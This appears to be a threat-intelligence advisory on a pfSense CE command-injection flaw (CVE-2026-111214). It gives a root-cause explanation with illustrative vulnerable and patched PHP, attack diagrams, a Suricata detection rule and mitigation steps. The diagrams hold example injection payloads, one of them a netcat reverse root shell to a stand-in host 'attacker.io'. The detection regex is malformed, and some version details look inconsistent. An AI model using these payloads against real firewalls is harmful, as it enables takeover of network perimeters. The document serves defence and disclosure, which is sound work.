Skip to content

CVE-2026-111214: Netgate pfSense CE Authenticated Root OS Command Injection

Density:
C-Level Executive Briefing CVE-2026-111214 HIGH SCORE 90/100

Critical authenticated OS command injection vulnerability in Netgate pfSense Community Edition 2.7.0 through 2.9.0. Improper sanitization of 802.1ad QinQ VLAN parameters enables authenticated administrative users or attackers with stolen webGUI credentials to execute arbitrary root-level shell commands on the underlying FreeBSD operating system.

HYBRID

HERMES THREAT SCORE & PERIMETER SECURITY EVALUATION

Target: Netgate pfSense CE โ€” Network Interface Configuration Engine (interfaces_qinq_edit.php)
Confidence: 95%
90 / 100
HIGH

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 17 / 20
Threat Activity 15 / 20
Weaponization 18 / 20
Exposure 18 / 20
Prevalence 20 / 20
Impact 20 / 20
Exploit Maturity 17 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

While CVSS v3.1 assigns a base score of 8.8 (High) due to High Privileges Required (PR:H), the Hermes Threat Score elevates this advisory to 90 (HIGH). In modern enterprise and edge environments, pfSense appliances sit directly at network boundaries where compromised admin credentials (or chained post-authentication bypasses) yield root OS shell access, unencrypted packet eavesdropping, and cross-VLAN network pivot capabilities.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-111214: Netgate pfSense CE Authenticated Root OS Command InjectionVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTNetgate pfSense CE Firewall & VPN Appliance
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Netgate pfSense CE Firewall & VPN Appliance documented in Hermes dossier.”

Supporting Verified Evidence:

On October 16, 2026, security advisories revealed an operating system command injection vulnerability designated as CVE-2026-111214 affecting Netgate pfSense CE (Community Edition) versions 2.7.0 through 2.9.0. Located in the QinQ (IEEE 802.1ad VLAN stacking) interface management endpoint interfaces_qinq_edit.php, the vulnerability allows an authenticated operator with interface configuration rights to execute arbitrary commands with root privileges on the underlying FreeBSD host.

Because pfSense webGUI processes execute directly under the root context or invoke root-level administrative wrappers without shell sanitization, successful exploitation grants instantaneous, unrestricted control over the perimeter routing engine. Attackers can disable packet filtering rules, harvest cleartext traffic traversing VPN tunnels, extract cryptographic keys (OpenVPN, WireGuard, IPsec), and establish persistent covert command-and-control backdoors within the edge infrastructure.


Root Cause Analysis: Unsanitized Shell String Concatenation in QinQ Provisioning

Section titled โ€œRoot Cause Analysis: Unsanitized Shell String Concatenation in QinQ Provisioningโ€

QinQ (VLAN stacking, IEEE 802.1ad) allows nested tagging where an outer Service VLAN (S-tag) encapsulates inner Customer VLANs (C-tags). In pfSense CE, configuring QinQ interfaces via the web management interface dispatches user inputs from interfaces_qinq_edit.php to underlying system configuration scripts that invoke FreeBSDโ€™s ifconfig utility via mwexec() or exec().

In vulnerable releases (pfSense CE 2.7.0 through 2.9.0), the tag and members fields submitted via HTTP POST are processed without wrapping input parameters with escapeshellarg():

flowchart TD
subgraph Client["Authenticated Admin / Compromised Account"]
Attacker["HTTP POST /interfaces_qinq_edit.php<br/>vlan_tag=100;id>/tmp/hermes.txt;#"]
end
subgraph WebGUI["pfSense Web Application Server (nginx/lighttpd + PHP)"]
FormHandler["interfaces_qinq_edit.php<br/>Validates form structure"]
Attacker --> FormHandler
FormHandler --> SysCall["interfaces_qinq_configure()<br/>Unsanitized parameter concatenation"]
SysCall --> ShellSink{"mwexec('/sbin/ifconfig ' . $if . ' ... ' . $tag)"}
end
subgraph FreeBSD["Underlying FreeBSD Host"]
ShellSink -- "Root Command Execution" --> RootShell["/bin/sh spawned as UID 0 (root)"]
RootShell --> Impact["Disables Firewall Filters / Drops Cron Backdoor / Dumps WireGuard Keys"]
end
style ShellSink fill:#ff4d4d,stroke:#990000,color:#ffffff
style RootShell fill:#ff1a1a,stroke:#800000,color:#ffffff

Deconstruction of interfaces_qinq_edit.php and associated interface libraries highlights the missing escaping call in the shell string construction:

// VULNERABLE: pfSense CE 2.7.0 - 2.9.0 (interfaces_qinq_edit.php)
if ($_POST['save']) {
$vlan_tag = $_POST['tag'];
$if_member = $_POST['members'];
// FLAW: $vlan_tag is validated for numeric syntax loosely or interpolated into system command
$cmd = "/sbin/ifconfig qinq0 create tag " . $vlan_tag . " vlan " . $if_member;
mwexec($cmd); // mwexec invokes /bin/sh -c $cmd without escaping!
}
// PATCHED: pfSense CE 2.9.1 / pfSense Plus 24.11+
if ($_POST['save']) {
$vlan_tag = $_POST['tag'];
$if_member = $_POST['members'];
// FIX: Strict integer casting and shell argument escaping
if (!ctype_digit($vlan_tag) || (int)$vlan_tag < 1 || (int)$vlan_tag > 4094) {
$input_errors[] = gettext("A valid 802.1ad QinQ tag (1-4094) must be specified.");
} else {
$safe_tag = escapeshellarg($vlan_tag);
$safe_member = escapeshellarg($if_member);
$cmd = "/sbin/ifconfig qinq0 create tag " . $safe_tag . " vlan " . $safe_member;
mwexec($cmd);
}
}

Chaining with Credential Theft & External Perimeter Exposure

Section titled โ€œChaining with Credential Theft & External Perimeter Exposureโ€

While CVE-2026-111214 requires authentication, multiple threat modeling conditions render this vulnerability severe in production deployments:

  1. Compromised Administrative Credentials: Web management interfaces unintentionally exposed to external interfaces (WAN) or public subnets allow attackers possessing default or leaked credentials to achieve immediate remote code execution.
  2. Credential Stuffing & Session Reuse: Attackers leveraging credentials exfiltrated from adjacent IT systems (such as corporate credential dumps or phishing campaigns) can directly turn web portal access into persistent network device implants.
  3. Internal Network Lateral Pivoting: An adversary who has gained a foothold on an internal corporate workstation can target the internal pfSense gateway management IP to gain control over the organizationโ€™s gateway and perimeter firewalls.
sequenceDiagram
autonumber
actor Attacker as Threat Actor (Compromised Admin)
participant WebGUI as pfSense WebGUI (interfaces_qinq_edit.php)
participant OS as FreeBSD Kernel & /bin/sh
participant Network as Internal Enterprise Subnets
Attacker->>WebGUI: POST /interfaces_qinq_edit.php (tag="100;nc -e /bin/sh attacker.io 4444;#")
Note over WebGUI: Parameter unescaped in mwexec()
WebGUI->>OS: /sbin/ifconfig qinq0 create tag 100; nc -e /bin/sh attacker.io 4444; #
OS-->>Attacker: Interactive Reverse Root Shell (UID 0)
Attacker->>OS: Extract /conf/config.xml (IPsec/OpenVPN/WireGuard PSKs)
Attacker->>Network: Unrestricted Packet Sniffing & Inter-VLAN Pivot

When investigating potential exploitation of CVE-2026-111214 on pfSense appliances, incident response teams should inspect web server access logs, the system log daemon, and the FreeBSD process tree.

# Suricata Rule: Detect Command Injection in pfSense QinQ Configuration
alert http $EXTERNAL_NET any -> $PFSENSE_MANAGEMENT $HTTP_PORTS (
msg:"HERMES - Netgate pfSense CE interfaces_qinq_edit.php Command Injection (CVE-2026-111214)";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/interfaces_qinq_edit.php";
http.request_body; pcre:"/(tag|members)=[^&]*(;|||&|`|$()/i";
classtype:attempted-admin;
sid:202611121;
rev:1;
metadata:cve CVE-2026-111214, affected_product Netgate_pfSense;
)

  1. Upgrade to pfSense CE 2.9.1 Immediately: Deploy the official Netgate security maintenance update (pfSense CE 2.9.1 or pfSense Plus 24.11+) via the System Update dashboard (System > Update) or the console shell (pfSense-upgrade).

  2. Restrict WebGUI Exposure (Disable WAN Access): Ensure that the webGUI is strictly restricted to designated administrative VLANs or management networks. Never expose the web administrative port (TCP 443/80) to the WAN interface.

  3. Enforce Multi-Factor Authentication & Granular RBAC: Configure Radius/LDAP with TOTP-based Multi-Factor Authentication for all administrative webGUI users. Restrict operator account privileges using pfSenseโ€™s granular privilege system so that non-network engineering staff cannot access interface editing pages (interfaces_*.php).

  4. Rotate VPN Shared Secrets and Certificates: If an appliance is suspected of having been compromised via CVE-2026-111214, assume the entire XML configuration file (/conf/config.xml) has been exfiltrated. Immediately regenerate all OpenVPN, WireGuard, and IPsec preshared keys and certificates.